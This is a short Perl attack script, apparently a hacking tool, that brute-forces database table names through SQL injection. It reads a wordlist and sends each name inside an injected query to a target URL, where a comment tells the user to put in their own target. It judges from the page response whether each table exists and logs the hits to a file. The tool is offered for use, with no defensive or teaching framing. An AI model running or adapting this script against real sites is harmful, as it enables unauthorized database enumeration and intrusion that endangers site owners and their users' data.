use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Request::Common;
     
    system('cls');
print '
  ____       _____     _____  
 / __"| u   |_ " _|   |" ___| 
<\___ \/      | |    U| |_  u 
 u___) |     /| |\   \|  _|/  
 |____/>>   u |_|U    |_|     
  )(  (__)  _// \\_   )(\\,-  
 (__)      (__) (__) (__)(_/  
';
print "\n Sql  TABLES  Finder\n";
    
    print "List Of  TABLES  -> ";
    my $tables = <STDIN>;
    chomp($tables);
    open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";
    my @tables = <TABLESFILE>;
    close TABLESFILE;
    system('clear');
    system('cls');
    print "Cracking Now !...\n";

        foreach my $table (@tables) {
        chomp $table;
                my $UserAgent = LWP::UserAgent->new;
                my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer
                my $request = HTTP::Request->new(GET => $sql);
                my $reponse = $UserAgent->request($request);
                #print $sql;
                if ($reponse->content =~m/SQL/) { #change to your specific string
                    print "Table doesn't exist => ($table)\n";
                }
                else{
                    print " Table exist => ($table)\n";
                    open(LNT,">>tables_exists.txt");
                    print LNT "$table\n";
                    close(LNT);}
    }